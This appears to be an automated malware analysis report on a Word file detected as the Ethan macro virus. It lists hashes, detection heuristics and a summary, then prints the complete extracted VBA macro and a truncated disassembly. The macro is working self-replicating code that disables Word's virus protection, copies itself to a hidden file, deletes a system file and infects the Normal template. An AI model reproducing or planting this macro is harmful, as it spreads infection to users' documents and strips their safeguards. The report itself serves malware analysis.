Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b1e305cc63400639…

MALICIOUS

Office (OLE)

34.5 KB Created: 1999-12-20 11:46:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 189382f4793f4c51d96b3cc1230b65ba SHA-1: d2749f368f3b58ef5b658017a21ccb42305f2a1f SHA-256: b1e305cc634006397801d1079435ff88181e60ca2e63d6c7d8819211613c7622
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The critical ClamAV heuristic and the presence of VBA macros indicate malicious intent. The VBA script attempts to copy its own code to 'c:\ethan.___' and manipulate document templates, suggesting an effort to maintain persistence or prepare for a second-stage payload. The document body content appears to be unrelated boilerplate text.

Heuristics 2

  • ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-20
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6619 bytes
SHA-256: 9fc50b247f4b0404bfd09489cda3b61ab9556e4396df54d5ce9481badd55c7d0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

    On Error Resume Next
    
    s = ActiveDocument.Saved
    Application.EnableCancelKey = Not -1
    With Options
        .ConfirmConversions = 0
        .VirusProtection = 0
        .SaveNormalPrompt = 0
    End With
    
    Randomize
    If Dir("c:\ethan.___", 6) = "" Then
    Open "c:\ethan.___" For Output As #1
    For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
        Print #1, a
    Next i
    Close #1
    SetAttr "c:\ethan.___", 6
    End If
    If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
        Set t = NormalTemplate.VBProject.VBComponents.Item(1)
        ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
        Set t = ActiveDocument.VBProject.VBComponents.Item(1)
    Else
        t = ""
    End If
    If t <> "" Then Open "c:\ethan.___" For Input As #1
    If LOF(1) = 0 Then GoTo q
        i = 1
        Do While Not EOF(1)
            Line Input #1, a
            t.CodeModule.InsertLines i, a
            i = i + 1
        Loop
        
q:
    Close #1
    If Rnd < 0.3 Then
        With Dialogs(wdDialogFileSummaryInfo)
            .Title = "Ethan Frome"
            .Author = "EW/LN/CB"
            .Keywords = "Ethan"
            .Execute
        End With
        If Left(ActiveDocument.Name, 8) <> "Document" Then
            ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
        End If
    End If
    If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
    
End Sub

' Processing file: /opt/analyzer/scan_staging/9c62976ad2ca47288a31b9876867dc50.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3534 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' Line #4:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #5:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #6:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' Line #7:
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' Line #8:
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' Line #9:
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' Line #10:
' 	EndWith 
' Line #11:
' Line #12:
' 	ArgsCall Read 0x0000 
' Line #13:
' 	LitStr 0x000C "c:\ethan.___"
' 	LitDI2 0x0006 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #14:
' 	LitStr 0x000C "c:\ethan.___"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #15:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #16:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St a 
' Line #17:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld a 
' 	PrintItemNL 
' Line #18:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #19:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #20:
' 	LitStr 0x000C "c:\ethan.___"
' 	LitDI2 0x0006 
' 	ArgsCall SetAttr 0x0002 
' Line #21:
' 	EndIfBlock 
' Line #22:
' 	LitStr 0x000C "c:\class.sys"
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0000 ""
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x000C "c:\class.sys"
' 	ArgsCall Kill 0x0001 
' 	EndIf 
' Line #23:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.